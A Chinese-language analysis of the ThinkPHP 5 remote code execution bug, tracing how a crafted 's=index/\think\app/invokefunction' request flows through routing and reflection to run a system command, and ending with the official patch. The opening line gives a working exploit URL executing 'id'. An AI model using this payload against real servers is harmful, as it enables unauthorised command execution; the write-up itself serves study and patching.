漏洞复现

  1. http://xxx.xxx.xxx.xxx/tp5/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

image.png

漏洞分析

首先在入口文件处断点，访问带有exploit的链接，一步步跟到thinkphp\library\think\App.php中的run方法。

  1. public static function run(Request $request = null)
  2.     {
  3.         $request = is_null($request) ? Request::instance() : $request;
  5.         try {
  6.             $config = self::initCommon();
  8.             // 模块/控制器绑定
  9.             if (defined('BIND_MODULE')) {
  10.                 BIND_MODULE && Route::bind(BIND_MODULE);
  11.             } elseif ($config['auto_bind_module']) {
  12.                 // 入口自动绑定
  13.                 $name = pathinfo($request->baseFile(), PATHINFO_FILENAME);
  14.                 if ($name && 'index' != $name && is_dir(APP_PATH . $name)) {
  15.                     Route::bind($name);
  16.                 }
  17.             }
  19.             $request->filter($config['default_filter']);
  21.             // 默认语言
  22.             Lang::range($config['default_lang']);
  23.             // 开启多语言机制 检测当前语言
  24.             $config['lang_switch_on'] && Lang::detect();
  25.             $request->langset(Lang::range());
  27.             // 加载系统语言包
  28.             Lang::load([
  29.                 THINK_PATH . 'lang' . DS . $request->langset() . EXT,
  30.                 APP_PATH . 'lang' . DS . $request->langset() . EXT,
  31.             ]);
  33.             // 监听 app_dispatch
  34.             Hook::listen('app_dispatch', self::$dispatch);
  35.             // 获取应用调度信息
  36.             $dispatch = self::$dispatch;
  38.             // 未设置调度信息则进行 URL 路由检测
  39.             if (empty($dispatch)) {
  40.                 $dispatch = self::routeCheck($request, $config);
  41.             }
  43.             // 记录当前调度信息
  44.             $request->dispatch($dispatch);
  46.             // 记录路由和请求信息
  47.             if (self::$debug) {
  48.                 Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
  49.                 Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
  50.                 Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
  51.             }
  53.             // 监听 app_begin
  54.             Hook::listen('app_begin', $dispatch);
  56.             // 请求缓存检查
  57.             $request->cache(
  58.                 $config['request_cache'],
  59.                 $config['request_cache_expire'],
  60.                 $config['request_cache_except']
  61.             );
  63.             $data = self::exec($dispatch, $config);
  64.         } catch (HttpResponseException $exception) {
  65.             $data = $exception->getResponse();
  66.         }
  68.         // 清空类的实例化
  69.         Loader::clearInstance();
  71.         // 输出数据到客户端
  72.         if ($data instanceof Response) {
  73.             $response = $data;
  74.         } elseif (!is_null($data)) {
  75.             // 默认自动识别响应输出类型
  76.             $type = $request->isAjax() ?
  77.             Config::get('default_ajax_return') :
  78.             Config::get('default_return_type');
  80.             $response = Response::create($data, $type);
  81.         } else {
  82.             $response = Response::create();
  83.         }
  85.         // 监听 app_end
  86.         Hook::listen('app_end', $response);
  88.         return $response;
  89.     }

代码很长，但关键部分只有几处，接下来开始调试。

  1. if (empty($dispatch)) {
  2.     $dispatch = self::routeCheck($request, $config);
  3. }

当代码运行到这里，调用routeCheck来获取调度信息，跟进去看看代码

  1. public static function routeCheck($request, array $config)
  2.     {
  3.         $path   = $request->path();
  4.         $depr   = $config['pathinfo_depr'];
  5.         $result = false;
  7.         // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
  8.         if (false === $result) {
  9.             $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
  10.         }
  11.         return $result;
  12.     }

第三行代码，通过path()获取路径，值为index/\think\app/invokefunction，剩余的变量存储在$_GET中

  1. $_GET
  2. array(2)
  3.     function: "call_user_func_array"
  4.     vars: array(2)

继续调试，到第8行，这里因为$result为假，所以调用Route::parseUrl处理路径，最后得到了一个$result数组，其内容：

  1. type:"module"
  2. module:array(3)
  3.     0:"index"
  4.     1:"\think\app"
  5.     2:"invokefunction"

接着返回到run方法中，将返回的数据通过$request->dispatch($dispatch)存入$dispatch。
接着运行到调用exec部分

  1. $data = self::exec($dispatch, $config);

跟进去继续看代码

  1. protected static function exec($dispatch, $config)
  2.     {
  3.         switch ($dispatch['type']) {
  4.             case 'redirect': // 重定向跳转
  5.                 $data = Response::create($dispatch['url'], 'redirect')
  6.                     ->code($dispatch['status']);
  7.                 break;
  8.             case 'module': // 模块/控制器/操作
  9.                 $data = self::module(
  10.                     $dispatch['module'],
  11.                     $config,
  12.                     isset($dispatch['convert']) ? $dispatch['convert'] : null
  13.                 );
  14.                 break;
  15.             case 'controller': // 执行控制器操作
  16.                 $vars = array_merge(Request::instance()->param(), $dispatch['var']);
  17.                 $data = Loader::action(
  18.                     $dispatch['controller'],
  19.                     $vars,
  20.                     $config['url_controller_layer'],
  21.                     $config['controller_suffix']
  22.                 );
  23.                 break;
  24.             case 'method': // 回调方法
  25.                 $vars = array_merge(Request::instance()->param(), $dispatch['var']);
  26.                 $data = self::invokeMethod($dispatch['method'], $vars);
  27.                 break;
  28.             case 'function': // 闭包
  29.                 $data = self::invokeFunction($dispatch['function']);
  30.                 break;
  31.             case 'response': // Response 实例
  32.                 $data = $dispatch['response'];
  33.                 break;
  34.             default:
  35.                 throw new \InvalidArgumentException('dispatch type not support');
  36.         }
  38.         return $data;
  39.     }

因为$dispatch中的type为moudle，程序会调用self::module()方法。
继续跟进去

  1. public static function module($result, $config, $convert = null)
  2.     {
  4.         if ($config['app_multi_module']) {
  5.             // 多模块部署
  6.             $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
  7.             $bind      = Route::getBind('module');
  8.             $available = false;
  10.             if ($bind) {
  11.                 // 绑定模块
  12.                 list($bindModule) = explode('/', $bind);
  14.                 if (empty($result[0])) {
  15.                     $module    = $bindModule;
  16.                     $available = true;
  17.                 } elseif ($module == $bindModule) {
  18.                     $available = true;
  19.                 }
  20.             } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {
  21.                 $available = true;
  22.             }
  24.             // 模块初始化
  25.             if ($module && $available) {
  26.                 // 初始化模块
  27.                 $request->module($module);
  28.                 $config = self::init($module);
  30.                 // 模块请求缓存检查
  31.                 $request->cache(
  32.                     $config['request_cache'],
  33.                     $config['request_cache_expire'],
  34.                     $config['request_cache_except']
  35.                 );
  36.             } else {
  37.                 throw new HttpException(404, 'module not exists:' . $module);
  38.             }
  39.         } else {
  40.             // 单一模块部署
  41.             $module = '';
  42.             $request->module($module);
  43.         }
  45.         // 设置默认过滤机制
  46.         $request->filter($config['default_filter']);
  48.         // 当前模块路径
  49.         App::$modulePath = APP_PATH . ($module ? $module . DS : '');
  51.         // 是否自动转换控制器和操作名
  52.         $convert = is_bool($convert) ? $convert : $config['url_convert'];
  54.         // 获取控制器名
  55.         $controller = strip_tags($result[1] ?: $config['default_controller']);
  56.         $controller = $convert ? strtolower($controller) : $controller;
  58.         // 获取操作名
  59.         $actionName = strip_tags($result[2] ?: $config['default_action']);
  60.         if (!empty($config['action_convert'])) {
  61.             $actionName = Loader::parseName($actionName, 1);
  62.         } else {
  63.             $actionName = $convert ? strtolower($actionName) : $actionName;
  64.         }
  66.         // 设置当前请求的控制器、操作
  67.         $request->controller(Loader::parseName($controller, 1))->action($actionName);
  69.         // 监听module_init
  70.         Hook::listen('module_init', $request);
  72.         try {
  73.             $instance = Loader::controller(
  74.                 $controller,
  75.                 $config['url_controller_layer'],
  76.                 $config['controller_suffix'],
  77.                 $config['empty_controller']
  78.             );
  79.         } catch (ClassNotFoundException $e) {
  80.             throw new HttpException(404, 'controller not exists:' . $e->getClass());
  81.         }
  83.         // 获取当前操作名
  84.         $action = $actionName . $config['action_suffix'];
  86.         $vars = [];
  87.         if (is_callable([$instance, $action])) {
  88.             // 执行操作方法
  89.             $call = [$instance, $action];
  90.             // 严格获取当前操作方法名
  91.             $reflect    = new \ReflectionMethod($instance, $action);
  92.             $methodName = $reflect->getName();
  93.             $suffix     = $config['action_suffix'];
  94.             $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
  95.             $request->action($actionName);
  97.         } elseif (is_callable([$instance, '_empty'])) {
  98.             // 空操作
  99.             $call = [$instance, '_empty'];
  100.             $vars = [$actionName];
  101.         } else {
  102.             // 操作不存在
  103.             throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
  104.         }
  106.         Hook::listen('action_begin', $call);
  108.         return self::invokeMethod($call, $vars);
  109.     }

这段代码的主要作用在于获取了控制器名，操作名，通过$request->controller(Loader::parseName($controller, 1))->action($actionName);设置请求的控制器、操作，并将其实例化给$instance
之后判断在控制器中是否存在操作名

  1. if (is_callable([$instance, $action])) {
  2.             // 执行操作方法
  3.             $call = [$instance, $action];
  4.             // 严格获取当前操作方法名
  5.             $reflect    = new \ReflectionMethod($instance, $action);
  6.             $methodName = $reflect->getName();
  7.             $suffix     = $config['action_suffix'];
  8.             $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
  9.             $request->action($actionName);
  11.         }

操作名存在则把操作名给$call，传入invokeMethod并调用。

  1. public static function invokeMethod($method, $vars = [])
  2.     {
  3.         if (is_array($method)) {
  4.             $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
  5.             $reflect = new \ReflectionMethod($class, $method[1]);
  6.         } else {
  7.             // 静态方法
  8.             $reflect = new \ReflectionMethod($method);
  9.         }
  11.         $args = self::bindParams($reflect, $vars);
  13.         self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
  15.         return $reflect->invokeArgs(isset($class) ? $class : null, $args);
  16.     }

代码第四行、第五行，通过反射得到控制器名，操作名。
第十一行，通过bindParams得到剩余的参数

  1. 0:"call_user_func_array"
  2. 1:array(2)
  3.     0:"system"
  4.     1:array(1)
  5.         0:"id"

在最后，调用invokeArgs方法，传入args，执行call_user_func_array，并将数组中的参数传进去。
最终，成功实行命令

PHP反射

PHP手册中invokeArgs和ReflectionMethod的用法

  1. <?php
  2. class HelloWorld {
  3.     public function sayHelloTo($name) {
  4.         return 'Hello ' . $name;
  5.     }
  7. }
  9. $reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');
  10. echo $reflectionMethod->invokeArgs(new HelloWorld(), array('Mike'));
  11. ?>

将类名和方法名传入ReflectionMethod中并实例化，接着调用其中的内置参数invokeArgs，并将要调用的方法所需要的参数以数组形式传入即可成功调用sayHelloTo。

漏洞修复

官方给出了修复补丁，在moudle中添加了验证

  1. if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
  2. throw new HttpException(404, 'controller not exists:' . $controller);
  3. }

结语

虽说是分析了一下漏洞，但是实际上还是很多地方不清楚，很多地方说的可能不对。
但总算大致是清楚了是由于没有进行过滤，而在app类中又有invokeFunction这样危险的函数，从而导致了漏洞发生。

参考

ThinkPHP 5简明开发手册 分析ThinkPHP5框架从入口到输出界面的加载流程 thinkphp 5.0.22 rce漏洞学习